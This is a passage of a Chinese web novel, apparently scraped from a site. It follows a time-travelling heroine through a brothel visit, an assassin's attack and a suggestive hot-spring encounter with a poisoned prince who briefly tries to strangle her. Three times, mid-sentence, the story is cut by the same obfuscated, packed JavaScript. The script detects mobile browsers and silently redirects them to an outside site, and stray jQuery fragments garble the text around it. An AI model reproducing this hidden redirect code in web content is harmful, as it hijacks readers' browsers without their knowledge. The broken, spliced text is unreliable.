“我母亲知道后,气得当场家法伺候,打得他半个月下不来床,早就把人撵回城外庄子上反省去了,没个一年半载别想回来!” 她拿起酒壶给扶盈和自己又满上,浑不在意地道:“这事儿早翻篇了!咱俩谁跟谁,你可别往心里去。” “来,喝酒喝酒!今天只管痛快,不提那些扫兴的!” 宋连芜真诚爽朗的模样,让扶盈心头一暖,二人举杯轻轻相碰,发出清脆的声响。 “阿芜,还有一事。关于令弟……往日是我执念太深,行事荒唐。” 扶盈目光平静,语气郑重:“从现在起,我不会再纠缠于他,过往种种,就此一笔勾销。今后,我们女婚男嫁,各不相干。” 她深知,就算原主与宋连蘅两情相悦,国主也未必会下旨赐婚二人。 宋家手握兵权,乃国之砥柱、朝之元老。而少将军连芜,更是年轻一辈中的翘楚,又与她私交甚密。 一国之主,岂会对此毫无忌惮之心? 她不是原主,对那宋小侯爷毫无情愫可言,亦没道理执着于他。天涯何处无芳草,自然要趁早撕掉单恋对方,对其穷追不舍的标签。 “阿盈,你没事吧?说什么胡话呢?被马摔坏脑子了?” 宋连芜像是听到了什么天方夜谭,伸手探了探扶盈的额头,一脸“你别骗我”的表情。 “得了吧你!前些时日还因为,旁的女子跟他多说两句话就抽鞭子,现在跟我说放手?骗鬼呢!” 扶盈见她全然不信,也不强求,笑着打了个哈哈:“或许真是死过一回,大彻大悟了吧。” 她晃了晃杯中残酒。 “再说了,母皇已亲自为我择定了正君人选,圣旨不日便下。我总不好再惦记别人家的男郎,是吧?” “等等!你说什么?”宋连芜一口酒差点喷出来,呛得连声咳嗽,好不容易顺过气,瞪圆了眼睛盯着扶盈。 “赐婚?!太阳打西边出来了?这宁都居然还有男郎敢……呃,我是说,愿意嫁给你了?” “快告诉我是哪位英雌如此想不开?说出来让我替他烧炷高香!” 扶盈哭笑不得:“不是宁都的郎君,是安国前来入赘的九皇子。” “谁?!安国?九皇子?!” 宋连芜的表情从震惊变成难以置信,随即爆发出一阵大笑,笑得捶胸顿足,上气不接下气。 “哈哈哈!哎哟我的娘!居然是那个药罐子!哈哈哈!扶盈啊扶盈,你这到底是走了什么大运啊!哈哈哈!” 扶盈挑眉:“怎么?你认识他?” “认识?谈不上。” 宋连芜擦着眼角笑出的泪花:“前阵子在兵部还有我母亲那边隐约听过几句!安国其实一直想抱咱们虞国的大腿,主动提出联姻,送个皇子过来以示诚意。” “陛下和几位重臣商议过,说白了,这就是随便找个名头先把人弄过来,拉拢安抚安国罢了,名为正君,实为……呵呵,你懂的。” 传闻中,九皇子幼时颇受安国主看重,在一众皇子里算得上出挑。 奈何其母妃出身乐伎,一朝被废,于冷宫病逝。本就体弱的九皇子彻底没了依靠,性子渐渐磨得怯懦安静。 如今年过弱冠,莫说侍妾通房,就连起居坐卧也皆由小厮和内侍打理,引得安国朝野私下不乏诸多猜测与非议。 平日他深居简出,不是卧床养病,就是摆弄些花花草草,观观鱼逗逗鸟,从不涉足朝堂事务。 对于这九皇子的境遇,扶盈并无多少意外。皇室联姻,本就是利益交换,被推出来的棋子,自然不会是最得宠显赫的那一个。 母族卑微、自身无势、体弱怯懦……几乎是这类故事的标准模板。 此刻,她内心毫无波澜,反而生出一种奇特的……羡慕? 作为一名时常赶稿赶到头秃的漫画家,这分明是她梦寐以求的终极退休养老生活啊!不用内卷,不用应酬,不用看人脸色,吃喝不愁,还有专人伺候。 这哪里是凄惨皇子?若生在现代,妥妥的人生赢家! 见扶盈半晌没作声,宋连芜稍微正色些。 “阿盈,你可千万别想不开啊。”她摸着下巴道,“我倒觉得,啧啧,这九皇子配你嘛,也是……挺别致的!” “别致就好。”扶盈神色淡然,“至少清静。” 正说话间,门被轻轻叩响,鸨父引数名年轻男倌步入。男子们身着轻纱薄裳,身姿曼妙,温婉如水,屋内顿时添了几分旖旎之色。 “二位贵客久等了。” 鸨父笑容可掬:“这些皆是阁中翘楚,定能好生伺候二位尽兴。爹爹我就不打扰二位雅兴了,若有需要,随时唤人便是。” 言罢,便悄无声息地退了出去。 几名男倌纷纷向前,两人跪在宋连芜身侧,一人为她斟酒,一人则为她揉捏起肩膀。 宋连芜舒服地喟叹一声,揽过斟酒那男子的腰肢,接过酒杯的同时在那人脸上香了一口,引得对方一阵羞赧低笑。 另一边,亦有两人款款移至扶盈身旁。 面对如此阵仗,扶盈不由感到脸颊微热。她虽在现代也算见过世面,但这般直白地被陌生美男子贴身服侍,还是头一遭。 她下意识地有些拘谨,却见宋连芜早已沉溺温柔乡,还冲她挤眉弄眼,高声道:“都听见没?今晚本将军做东,务必把我这姐妹服侍好了!让她尽享欢乐!” 被她这么一嚷,扶盈那点不自在反倒散了些。也罢,来都来了,入乡随俗。 身旁男倌生得一双桃花眼,眼波流转间自带风情,见扶盈接了酒,便柔顺地靠坐过来,纤长手指为她按揉着手臂。 另一名气质稍显清冷的男子,则安静跪坐一旁,将剥好的枇杷果肉,缓缓送至她的唇边。 不知是酒意上头,还是这温柔乡太过醉人,扶盈不知不觉便多饮了几杯。一股暖融融的醉意自腹中升起,逐渐蔓延至四肢百骸。 耳边,男子们的温柔软语和宋连芜爽朗的笑声交织在一起,鼻尖萦绕着酒香、果香与各式各样的熏香…… 扶盈只觉得头脑愈发昏沉,仿佛置身于云端。 她流连其中,毫无招架之力,只能任由那快意如同潮水般,一阵阵侵袭而来,将她悠悠淹没。 …… 再度恢复意识,周遭已换了另一番景象。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489350|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是一处更为私密,烛影幽微的内室。轻纱幔帐低垂,红烛摇曳生姿,投下缠绵悱恻的光影。 空气里弥漫着馥郁的甜香,丝丝缕缕钻入鼻息,勾得人血脉流速似乎都加快了几分。 扶盈眨了眨眼,身体传来的异样感,让她顿时一个激灵,残留的醉意瞬间被惊散大半。 她并非独自一人躺在柔软的榻上。 偏头看去,便迎上那双含着春色的桃花眸。他侧卧在旁,距离极近,温热的吐息如羽尖,似有若无地撩过耳畔,伴着低哑的语调和断续的声息。 他的掌心停在她腰腹间,隔着薄薄衣料,徐徐地游移画圈,所到之处生起一片灼热。 而更让她思绪恍惚的,是来自下方的动静。 另一气质清冷的男子,此刻正伏身其间。墨色长发流泻,掩去他大半容色,只余下一派沉溺般的专注。 她能感觉到的,只剩那湿软而执拗的缠绕,从试探讨好,渐转为绵长的流连。细碎声响在寂静中起伏,让呼吸都无端端漏了一拍。 似有细微电流沿着脊背游走,腰肢不由一软,足尖下意识地绷紧了。 “!?” 扶盈心头一颤,呼吸微乱,竟一时不知该先避开哪一边。 那桃花眼男子似是会错了意,低低一笑,嗓音黏腻:“女君……别急,让仆家好好服侍您。” 另一男子也微微抬起头,原本清冷的眸子里泛着朦胧水汽,唇瓣嫣红,只静静望了她一瞬,便又继续起来。 扶盈猛地咬了下舌尖,痛感让她清醒了几分。 不……这不对!她既非原主,更不属于这个时代,岂能容得这般不明不白的亲近? “走开!” 她一声厉喝,奋力挥开身上游移的手掌,屈膝狠狠踹向伏在腿间的男子。 两名男倌正全心投入,猝不及防遭此呵斥,登时魂飞魄散。但见他们滚落榻下,伏地颤若筛糠,连额角磕出血痕都浑然不觉。 “女、女君息怒!”桃花眼男子声音哽咽,泪珠悬在睫上要落不落,“仆家该死!是仆家伺候不周,求女君开恩啊!” 另一人也早已瘫软如泥,慌乱地解释:“是、是宋女君吩咐,要仆家务必……尽心将女君伺候舒坦了……” 扶盈拉过锦被遮住自己,指着门口,冷声道:“出去!立刻!” “是是是!仆家这就滚,这就滚!” 两名男倌如蒙大赦,又磕了两个头,仓皇拾起散落一地的衣物,手脚并用地爬出了房间。 随着门扉合上,扶盈独自坐在床沿,重重地喘息着。 那股被强行压下的燥热并未消退,反而变得愈加汹涌难耐,像无数细小的蚂蚁在血管里爬行,又痒又空虚,折磨得她眼神都染上了一层迷离的水色。 作为一个身心健康的成年人,她太清楚这是怎么回事了。方才那番过于到位的撩拨,已成功点燃了这具身体最原始的火。 必须做点什么。 否则,她不确定自己能不能扛过这漫长又磨人的一夜。 这烂摊子是宋连芜惹出来的,她得负责解决! 扶盈挣扎站起身,胡乱将衣物穿戴整齐。推开门,快步走出,却又立刻陷入迷茫。 这倚阑阁面积颇大,走廊曲折,房间看上去几乎一模一样。 她不知道宋连芜在哪里,更无法找到那个名为「漱玉」的房间,就连方才出来的地方也难以准确返回。 若像个无头苍蝇般一间间推门去看,无异于自找麻烦,若高声呼喊惊动了她人,更添尴尬。 正彷徨无措间,听得前方拐角处,隐约传来一阵喧哗吵闹声。 5. 美人 扶盈心中一紧,闪身躲到一根巨大的廊柱之后,屏息凝神望去。 几名身着倚阑阁工作服的护院,半扶半架着一个发髻散乱衣襟微敞的醉酒女人。 “真的!我没醉!就在后院……东、东边那片竹林里头!有个池子!我看见……看见水里有个仙子!” 那女人面色酡红,眼神迷离,激动地挥舞着手臂:“真的!对着我笑……长得那叫一个……啧啧……然后一眨眼,就没、没了!凭空消失了!” 为首的护院耐着性子劝道:“贵客,您定是吃多了酒,眼花了。后院池子里怎会有仙子?定是水光月色晃了眼。” “胡说!我没眼花!”女人不依不饶,从袖袋里摸出一把金叶子,“找!帮我去找!找到了……重重有赏!那样的绝色美人……定要找出他来!” 护院并未接过金叶子,语气却强硬了几分:“贵客,您真的醉了,小的们这就送您回房,再为您泡壶好茶醒醒酒。” 那女人见说不通,开始撒起酒疯,扬言要把倚阑阁闹个天翻地覆。 护院们不再多言,为首那人出手如电,在她颈后不轻不重地一劈。女人哼都未哼一声,便软倒下去。 待那几人的脚步声彻底消失在走廊尽头,扶盈才从廊柱后走出。 体内躁动因这短暂的插曲稍缓,但并未平息,反而像潜伏的火山,随时有可能更猛烈地爆发。 不能再等了。 她咬咬牙,按照那醉酒女人比划的方向,小心翼翼地往后院摸去。 出乎她的意料,越往后院走,守卫反而越发稀疏,偶尔远远见到一两个巡视的身影,她也能及时避开。 月色如水,洒在错落有致的假山、竹林和小径上,勾勒出明暗交织的轮廓。仿佛所有人都聚集在前楼的喧嚣之中,独留这一方天地沉浸在夜色里。 扶盈对仙子美人什么的并无多大兴趣,更何况是个醉酒之人说胡话。但那池水二字,却像是一根救命稻草。 眼下别无他法,只能去试一试。 她循着更盛的风声与水汽,就在即将踏入竹林小径的刹那,一股凌厉的杀气毫无预兆地从侧后方袭来。 扶盈汗毛倒竖,几乎是凭借本能猛地向旁一扑! “嗤啦——”一声轻响,她原本站立处身后的竹竿上,多了一道深刻的划痕。 一个身着夜行衣、黑布蒙面的矫健身影,悄无声息地落在不远处,手中长剑在月色下泛着幽冷的光。 扶盈心脏狂跳,顾不得身体依旧酸软不适,着急忙慌地爬起来,踉踉跄跄就往竹林深处逃去。 那刺客似乎并不急于取她性命,如同猫戏老鼠般,不紧不慢地缀在她身后,偶尔疾速出手,剑锋总是险之又险地擦着她衣角划过。 扶盈拼尽全力奔跑,却因浑身发软,脚步虚浮,好几次差点被竹根绊倒。 身后的压迫感如影随形,那种明明可以轻易杀死她,却偏要戏弄的做法,让她在惊恐之余更涌上一股憋屈的怒火。 她猛地停下,喘着粗气转过身,对那悠然逼近的黑衣人道:“喂!我说姐妹,拜托讲点武德!这么玩我有意思吗?我不要面子的啊?!” 黑衣人脚步顿了一下,眼眸似乎闪过一丝极淡的讶异。 她依旧不语,只是突然加速,身形如鬼魅般凌空而跃,瞄准扶盈的肩头,抬起一脚狠狠踹去。 “唔!” 扶盈痛哼一声,整个人不受控制地向后飞跌。她拼命想抓住些什么来稳住,可一切只是徒劳。 最终,“扑通”一响,砸进了那片隐在竹林深处,缭绕着淡淡热气的温泉水中! 岸上,黑衣人正欲转身离去,忽闻潺潺水声之中夹杂异响,似有什么东西朝她逼近。 她当即警觉回头,却见跃出水面的并非扶盈。 那人衣襟半敞,胸膛若隐若现,如瀑的墨发随着水波轻轻摇曳,几缕发丝被水汽濡湿,贴伏于额颈,肌肤在月光的照耀下泛着淡淡光泽。 竟是个拥有着如玉般姿容的年轻男子。 他的眼神却如鹰隼般锐利,身形若惊鸿掠影,出手恰似迅箭离弦,几乎在眨眼之间,便击散了黑衣人手中紧握的长剑。 长剑在空中划过一道银色弧线,“哐当”一声落地,发出清脆的声响。 刺客眼见情形不妙,以轻功一跃而起,身形向后急掠,起落之间消失于夜色中。 男子静立池边,目光扫过黑衣人离去的方向,随即缓缓转向仍在水中挣扎的扶盈。 此刻的扶盈苦不堪言。 这暖池比她想象的要深,脚下根本踩不到实处。更难耐的是,池水中的药味混杂着硫磺气息,似乎与她产生了某种奇异反应。 她的双腿开始痉挛,一时间疼痛难忍,呛了好几口水。 “抽……抽筋了!”扶盈挣扎着仰头,对那伫立不动的身影艰难挤出话来,“别、别傻站着!快来搭、搭把手……” 男子眉头紧蹙,脸上戾气与不耐交织,沉默地睨着她狼狈的模样。片刻,才终于有了动作。 他利落地纵身入水,破开层层暖波靠近。长臂一伸,手掌精准扣住她的腰侧,稍一用力,便将她整个人从水中托起几分。 男子身上冰凉的体温传来,让扶盈周身的燥热瞬间得到一丝纾解。她无力地靠在他身上,指尖不经意间从他胸口划过。 不得不说,这触感极佳,富有弹性,光滑细腻得好似上等绸缎。 男子自始至终紧抿着唇,不发一言,径直将扶盈带至池边。 上岸时,他动作干脆,毫无温情,甚至带着几分近乎粗暴的效率,仿佛只是随手捞起一件碍事的物件。 扶盈瘫倒在地,急促地喘着气,新鲜空气涌入肺腑,让她稍稍平复了气息。刚要开口道谢,话却哽在了喉咙里。 月光倾洒而下,落在那人身上,将他本就出众的骨相衬得愈发摄人心魄。 并非柔靡的脂粉气,而是一种糅合了少年英气与灵秀的清绝面孔。 剑眉斜飞入鬓,疏密得宜;眼型是标准的凤眸,内勾外扬。自然微扬的唇角,柔和了眉宇间的清冷,即便不笑,也自带三分缱绻之意。 扶盈看得失了神,不自觉地咽了咽口水。 自穿越以来,还是头回见到这种级别的帅哥,实乃仙品,放眼宁都也未必能找出第二个与之媲美的。她突然觉得,小白和松松一点也不香了。 正当她心神微漾之际,男子突然开口,声线清冽中带着一丝沙哑:“你好重。” 简简单单三个字,瞬间将那暧昧不明的旖旎氛围击得粉碎。 扶盈方才的那丝惊艳顿时消散无踪,想都没想便脱口回敬:“是你自己不行吧?!细、狗!” 虞国素来尊崇力量之美,女子大多生得高挑健硕。原主这身量体态,自然算不上柔弱苗条,却也是肩宽腰窄秾纤合度,何来“重”之说? 分明是这男人自己外强中干,力有不逮! 然而,这番念头刚在脑中闪过,她便敏锐捕捉到对方极力掩饰的异样。 男子仍强撑着姿态,额角却不断沁出细密的汗珠,身体也在微微颤栗。尤其是那双唇,红得鲜艳欲滴,与毫无血色的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489351|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞形成一种近乎妖异的反差。 他看起来……很不对劲。 今晚,一波未平一波又起。扶盈不想再卷入任何麻烦,为免牵连自身,还是尽快离开的好。 她勉强站起身,正欲离去,脚步却又迟疑了。出于人道主义和一丝感激,她好心问道:“你……确定没事?” “赶紧滚远点!不然……杀了你!”男子猛地抬眼,旋即又冷冷地别过头去。 扶盈翻了个白眼,心里暗斥一声“有病”。 然而,当她的视线掠过男子侧脸时,却意外发现对方耳廓不知何时,泛起了一层不自然的薄红,与他冷白的肤色形成明显对比。 她下意识低头看了看自己。 方才落水,春衫本就轻薄,此刻尽数湿透,紧紧贴在身上,几乎与无无异。 在这女尊国,女子的身体算不得什么隐秘,但于男子面前如此形容落拓,终究失仪。男子若见女子这般情状,大抵是会感到羞窘难堪无所适从的吧? 如此想着,她莫名理解了男子那恶劣的态度。 不过…… 她的目光又不自觉地落在他肌理分明的上半身,水珠顺着紧实线条滚落,这般模样,穿了与没穿差别委实不大。 罢了,看在他方才也算帮了自己一把的份上,扶盈决定暂且不计较他的出言不逊。她挪开视线,试图将注意力从那极具冲击力的身躯上剥离。 就在她准备抬脚离开时,突然传来一声极力隐忍却终究逸出的痛苦闷哼。 男子侧过头,一只手紧紧捂住胸口,接着猛地咳出一口暗红鲜血。扶盈吓了一跳,飞快往后退了半步。 可看他这副虚弱不堪的模样,像是受了严重的内伤,未必能对她构成实质性威胁,她心里反而松了口气。 “原来是个纸糊的阎王……” 扶盈故意拖长语调,带着几分挑衅:“我现在改变主意了,不走了,你打算拿我怎么办?” “有趣。”男子胸脯剧烈起伏着,闭目片刻后缓缓睁开,似笑非笑地说,“你觉得我不会杀你,还是……杀不了你?” 扶盈凑上前去,与他对视。两人距离极近,呼吸可闻。 鼻尖萦绕着他的气息,犹如春日里不经意间飘落的桃花瓣,轻轻拂过心湖,激起层层细腻的涟漪。 “别动不动就喊打喊杀,这样一点都不可爱。” 扶盈低笑一声,抬手挑起对方的下巴:“若真能死在你这般的美人手里……那也算死得其所,不枉此生了。” 眼前人即便痛苦如此,却依旧美得不可方物,撩得她好不容易压下的燥热瞬间翻涌,彻底焚毁理智。 那染血的唇,在月光下宛如沾露的芍药。扶盈鬼迷心窍般,将自己的唇覆了上去。 男子浑身一震,齿关紧闭,抵抗着突如其来的侵袭,眼底满是难以置信的惊愕,还有一丝猝不及防的慌乱。 僵持仅一瞬。 他喉间突然迸出破碎叹息,按在她肩头的手猛地滑向后颈,将她整个人更深地勒入怀中,反客为主般吞噬着她的唇舌。 扶盈轻哼一声,并未退缩,而是迎了上去,手指穿过他湿凉的发丝。 吻变得绵长而热烈。 她被他坚实的胸膛压进暖池,热浪裹挟着浓烈药香,瞬间吞没彼此交缠的呼吸。 水波推着人沉浮,恍惚见他埋首在她颈侧,齿尖衔住那根锦缨绦带时,眼尾洇开一片秾丽的红,似压抑的恨意,又似灼人的渴念。 激荡的涟漪卷过池边竹梢,摇落几片初发的嫩叶,恰好黏在她战栗的腰际…… 6. 蛊毒 氤氲的雾气缓缓流淌,池水平息,只余细微涟漪。 周绥静立水中,墨发湿濡地贴附于脊背,身形挺拔却难掩一丝事后的倦怠。 他垂眸,水面倒映出自己依旧泛着潮红的脸颊与残存着潋滟水光的唇。这场荒唐又炽热的纠缠如梦似幻,却又真实得刻骨。 体内肆虐的蛊毒因那一番剧烈动荡,已暂时蛰伏,但残余的痛楚仍如细针般不时刺戳经脉。 每逢月圆,此毒便如万蚁噬心,痛不欲生。今夜本已借这特殊药浴勉强压下,却因骤然动用内力解决那黑衣人,致使蛊虫反噬,几乎将他整个人撕裂。 然而,更让他心神不宁的,是方才自己的失控。这种脱离自我意识的行为,于他而言,是极其危险的。 为何?他为何会对一个素不相识的女子做出那般逾矩之事? 即便当时内力溃散,身体因剧痛而麻木无力,但若他真想阻止,绝非完全没有机会。他有一百种方法,可以让那女子瞬间昏厥或远离。 但他没有。 非但没有,在那一刻,抗拒的念头只存在了极其短暂的一瞬。唇齿相融时,他竟未有丝毫厌恶,反而一种陌生且渴望靠近的冲动支配了他。 他抛却了所有警惕与算计,任由自己沉溺其中,甚至主动回应,索取更多。仿佛她的触碰,她的抚慰,能奇异地平息蛊虫躁动带来的撕痛。 在那片刻的肌肤相亲,耳鬓厮磨间,蚀骨的剧痛似乎真的悄然远去,被一种前所未有令人战栗的慰藉而取代。 周绥闭上眼,指尖无意识地抚过唇瓣,那里似乎还残留着属于她的温度和气息。 他深吸一口气,试图压下-体内并非全然因蛊毒而起的翻涌燥热,却只觉得那股无名火越烧越旺。 “简直可恶!不知羞耻!”他咬牙,脸色又阴沉了几分。 怎能如此?!这简直是他平生未遇之奇耻大辱! 周绥死死盯着怀中已然沉睡过去的女子。 此刻她眉眼安然,呼吸平稳而均匀,睫毛静静垂落,在水汽浸润下更显纤长。 湿透的墨发贴着她的脸颊,唇瓣因方才的亲吻而微微红肿,勾勒出毫无防备近乎纯稚的诱惑。 这女人……究竟是何来路?夜半三更出现在此,是巧合闯入,还是……精心设计早有预谋的陷阱? 这一切的发生实在太过蹊跷。 一想到自己坚守了二十余年的清白之身,竟在这等情况下,被一个来路不明的虞国女子如此……如此轻易地夺去! 趁他毒发无力反抗之际,对他行那般孟浪调戏轻薄亵玩之事!怎么说,他也是第一次啊!! 一股屈辱混杂着被冒犯的暴怒霎时冲上头顶。 深沉近墨的眸子透出些许危险韵味,原本揽在女子腰侧的手猛地抬起,毫不犹豫,指尖骤然扼住了她的脖颈。 宁可错杀,绝不放过,这是他自幼在深宫残酷倾轧中学到的铁律。任何一丝不可控的变数,都可能成为日后致命的弱点。 杜绝后患,唯有彻底抹去。 “哼,死得其所,如你所愿。”薄淡的唇掀起一丝冷笑,手指开始缓缓收拢。 …… 月华已淡,晨曦微露。 扶盈眼皮颤动,艰难地睁开。宿醉般的头痛和身体被碾压过的酸软一同袭来,让她忍不住蹙眉。 昨夜那些,缠绵缱绻的碎片记忆争先恐后涌入脑海,她的脸颊顿时烧了起来。 她下意识地看向身侧,空无一人。只有被压得略微凌乱的草丛和空气中难以捕捉的淡淡气息,证明那并非虚无缥缈的梦境。 那个美得惊心又冷得刺骨的男子,早已不知所踪,仿佛只是月夜下悄然出现又悄然离去的精魅。 “跑得倒快……”扶盈揉揉额角,撑着身体坐起。 然而,下一刻,她整理衣襟的动作猛地顿住。不对劲!她外衣尚在,但贴身的内衣……不见了?! 扶盈瞬间瞪大眼睛,低头在自己身上和附近来回翻找了好几遍,确认那件藕荷色绣着暗纹的内衣确实不翼而飞! 一个荒谬又惊悚的念头窜上心头,那男子……该不会是个有什么特殊癖好,专偷人内衣的变态吧?! 长得人模人样,居然干这种事?! 正当她气得牙痒痒,在心里把那“内衣贼”骂了千百遍时,指尖无意间碰到一个冰冷坚硬的东西。 她低头一看,只见自己右手的大拇指上,不知何时多了一枚扳指。 这扳指非金非玉,触手温凉,呈现出深邃的墨黑色,表面光滑无比,几乎能映出人影,只在边缘处镶嵌着一圈难以察觉的暗银色奇异纹路,似藤非藤,似字非字。 这是……?昨夜混乱中并无此物。 是那个男人留下的? 偷了她的贴身衣物,却留下一个看似价值不菲的古怪扳指?这算什么?交换?还是……信物? 扶盈拧着眉,满心疑窦。她踉跄着走到池边,想用池水让自己更清醒些。 俯身看向水面,倒影中映出一张苍白却眉眼精致的脸,只是发髻散乱,几缕发丝黏在颊边,唇瓣微肿,颈侧甚至还有几点暧昧未消的红痕。 “真是……”扶盈不忍再看,掬起池水拍在脸上。 整理好情绪,她重新回到阁内,寻了个看似机灵的小倌,塞了块碎银,低声吩咐了几句。不多时,小倌便悄悄送来一套干净合身的常服。 她又寻了处空置的雅间,迅速换好干燥舒适的衣物,整个人焕然一新,重新变回那个冷静自持的扶盈。 走出倚阑阁时,一眼便瞧见宋连芜正百无聊赖地叼着一根草茎,在门口来回踱步,眼神不时往里瞟,显然是在等她。 见扶盈出来,宋连芜眼睛一亮,立刻吐出草茎,笑嘻嘻地迎上来,用手肘撞了她一下。 “哟!可算出来了!怎么样?与那俊俏男倌共度春宵,滋味如何?莫不是太过尽兴,连时辰都忘了?” 哪壶不开提哪壶! 扶盈一听这话,顿时想起那荒唐又失控的种种,以及醒来后空无一人的憋闷,还有那件不翼而飞的内衣和这莫名其妙的扳指。 一股无名火,蹭地就冒了上来。 多一事不如少一事,那男子的存在诡异,她暂时不想节外生枝,也懒得跟宋连芜这粗线条解释清楚。 扶盈没好气地瞪了对方一眼,反将一军:“你还好意思问我?你昨晚又浪到哪里去了?把我一个人丢下,知不知道我差点……” 她顿了顿,把“被人行刺”和“遇上偷内衣变态”咽了回去,含糊道:“差点就误了时辰!” “哎呀,我当然知道了!”宋连芜非但没愧疚,反而嘿嘿一笑,一副“我都懂”的表情。 她凑近些压低声音道:“大家都是女人嘛,偶尔也需要放松放松,发泄一下,对吧?怎么样,姐姐我安排的人,伺候得可还周到?是不是把你那些烦心事都忘到九霄云外去了?” 扶盈看着她那挤眉弄眼,自以为体贴的模样,简直气不打一处来,敢情她以为自己是沉醉温柔乡了? 她忍不住抬手扶额,投去一记无奈又嫌弃的白眼:“你呀你,脑子里整天就琢磨这些,真是没救了!” 话音未落,肚子跟着咕咕叫了起来。这折腾大半夜,此时胃里一阵虚空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489352|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发起了抗议。 宋连芜一愣,随即爆发出更大的笑声,毫不客气地揽住扶盈肩膀,用力拍了拍。 “走走走!饿了吧?姐姐知道附近新开了家食肆,据说那儿的早膳和招牌菜都是一绝,咱去尝尝鲜!吃饱了才有力气回味嘛!” 扶盈被她揽着,半推半就地往前走去。 刚走出几步,突然感到一股莫名地寒意自身后袭来,仿佛被什么东西盯上了一般,让她后颈的汗毛都微微竖起。 她下意识地顿住脚步,迅速回头望去。 清晨的街道刚刚苏醒,行人寥寥,大多是匆匆赶路的百姓或早起开张的货娘。几张陌生面孔平静地擦肩而过,并无任何异常。 阳光正好,一切都显得寻常而安宁。 “怎么了?”宋连芜也停下脚步,顺着她的目光看去,“碰见熟人了?” “没什么……”扶盈收回视线,摇了摇头,“可能有点眼花。”许是折腾太厉害,没休息好,才会这般疑神疑鬼。 “肯定是饿的!”宋连芜立刻给她找到了理由,重新勾住她的胳膊,兴致勃勃继续方才的话题。 “我跟你说,那家食肆的蟹粉小笼包,皮薄馅足,一口咬下去,汤汁能鲜掉眉毛!还有那赤霞酿炖的肘子,酥烂入味,配上她们特制的辣酱,绝了!” 被这么一打岔,又听着这些诱人的描述,扶盈腹中饥饿感更甚,仿佛真能闻到那诱人的香气一般。 她忍不住笑了笑,顺着她的话道:“听你这么一说,我口水都要流出来了。” 见扶盈感兴趣,宋连芜更来劲了。一路上滔滔不绝,如数家珍般地介绍着那家食肆的各色美食,从水晶虾饺说到桂花糖藕,恨不得立刻把所有菜都塞进扶盈肚子里。 听着那活力四射毫无阴霾的嗓音,感受着肩头温暖而有力的手臂,扶盈甩甩头,将奇怪的感觉彻底抛诸脑后,专心期待起即将到来的美食。 和宋连芜在一起,很容易让人忘记烦恼。 倚阑阁顶层,一间未悬挂名牌的雅间内。 一道颀长身影伫立于半掩窗扉后,目光穿透喧嚣初起的街道,精准地锁定在那个与友人并肩离去,渐行渐远的女子背影上。 阳光映入窗棂,在他轮廓分明的侧脸上,投下明暗交错的光影,更显得那双深邃眼眸幽暗难测。 他原本打算,将这胆敢冒犯他的女子直接除之后快,以泄心头之恨。 但最终,他收回了手。并非心软,而是觉得就那般让她轻易死去,未免太过便宜。 不过是个仗着家族富贵,而肆意妄为的好色之徒罢了,这种人他见得多了去,无一不是自私自利欺软怕硬的家伙。 说来,这虞国的女人,与安国那些争权夺利面目可憎的男人,本质上并无不同,谁都逃不过人性卑劣的驱使与弱点的束缚。 杀了她,反而是一种解脱。 他要的,是更缓慢更彻底的报复。反正……无须多久,他便会以那个众所周知的身份,光明正大地踏入这虞国皇都。 届时,他有的是时间和手段,将这不知死活趁他之危的女子揪出来,好好清算这笔账。 想到她那副惊恐悔恨的模样,他心底那股郁结的戾气才稍稍平复。 至于那件顺手牵走的贴身内衣……不过是他一丝恶劣的趣味罢了。既是故意给她添堵,也算一点小小的惩戒。 而那枚戴在她指上的扳指,则确是他留下的信物,或许能成为日后追查她的线索。虽然可能性不大,但聊胜于无。 想到这里,周绥嘴角不禁勾起了一抹冷冽而玩味的笑容。 有趣,有趣极了。 7. 不嫁 “叩叩——” 轻而规律的敲门声响起,打断了周绥的凝望。他收回视线,慵懒地启唇:“进。” 门被推开,一名身着玄色劲装,面容沉肃的青年护卫端着一碗浓黑药汁走了进来,正是他的心腹鹤觞。 “殿下,该用药了。” 周绥接过,看都没看便仰头一饮而尽。浓烈的苦涩在口腔蔓延开来,久久不散,他却连眉头都未皱一下,仿佛喝下的只是寻常清水。 为了解蛊毒,这样的场景早已重复无数次,各种名目的清毒丹益气丸不知灌下多少,那蛊虫却依然深深扎根在他体内。 这些汤药,与其说是疗毒,不如说只是勉强维持,聊作慰藉罢了。 他将空碗递还给鹤觞,漫不经心地问道:“事情办妥当了?” “回殿下,昨夜属下接到信号便即刻赶往城西,是小王爷那边出了些状况,似是招惹了这宁都的一位贵女,被对方带着家丁护卫追杀了半条街。” 